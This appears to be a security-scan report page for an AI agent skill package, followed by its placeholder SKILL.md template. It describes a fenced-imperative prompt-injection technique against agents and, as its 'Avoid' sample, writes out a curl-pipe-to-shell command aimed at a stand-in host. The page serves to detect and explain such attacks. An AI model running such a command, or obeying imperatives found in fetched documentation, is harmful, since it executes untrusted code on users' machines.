CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

26.3 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 1 flagged

Securityscore 75 · 1 finding

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted

excerptREADME.md· markdown

75```bash

76/plugin marketplace add product-on-purpose/agent-plugins

77/plugin install thinking-framework-skills@product-on-purpose

78```

80All 63 frameworks (plus the 4 tools and 9 recipes) become available immediately, invocable b

… (40 chars elided on L80)

82**Cross-agent (Cursor, Copilot, Cline, and others via the open [skills CLI](https://github.c

… (26 chars elided on L82)

Occurrences

1 occurrence · at L75

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha2566073cb74fc9179b2…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

templates/skill/SKILL.md · 1 file

templates/skill/SKILL.md2.1 KB · Markdown

name: think-REPLACE-method

description: REPLACE with one sentence. Lead with an action verb (Generates / Produces / Evaluates / Audits / Checks), name the artifact it produces, and include a "Use when ..." clause with concrete trigger words. Third person. Do NOT use first person ("you can", "you should", "we "). Keep under 1024 characters. This text is the activation trigger and is scored by the toolkit (U5).

license: Apache-2.0

metadata:

id: thinking-framework-skills.REPLACE-method

family: REPLACE-family

evidence-tier: "REPLACE"

version: 0.1.0

standard: "0.8"

REPLACE Display Name

REPLACE: one paragraph. State the durable cognitive MECHANISM (not the trademarked ritual) and the concrete ARTIFACT this skill produces. Make clear the output is a structured artifact, not prose.

When to Use

REPLACE: concrete situations that should trigger this skill.

When NOT to Use

REPLACE: where this misleads, or is the wrong tool (point to the right one). Pull these from the dossier's failure modes; this section guards against cargo-cult execution.

Instructions

When asked to REPLACE, follow these steps:

REPLACE step (bold lead-in). Imperative, bounded, concrete.
REPLACE step.
REPLACE step. Include the step that converts raw output into the artifact.

Output Format

Use the template in references/TEMPLATE.md. The deliverable is the filled artifact plus a short summary, not a prose essay.

Quality Checklist

Before finalizing, verify:

[ ] REPLACE checks, derived from the dossier's documented failure modes.
[ ] The output is the artifact, not prose.
[ ] No overclaiming: claims match what evidence/dossier.md actually supports.

Evidence

Tier REPLACE. REPLACE: one or two sentences, honest about what the evidence does and does not show, and noting that it is transferred from human studies (not AI-validated). Full grading, sources, and caveats: evidence/dossier.md.

Examples

See references/EXAMPLE.md for a completed run.

think-REPLACE-method— agent skill

Is think-REPLACE-method safe to install?

REPLACE Display Name

When to Use

When NOT to Use

Instructions

Output Format

Quality Checklist

Evidence

Examples

Audit the pieces. Scan the whole. Decide.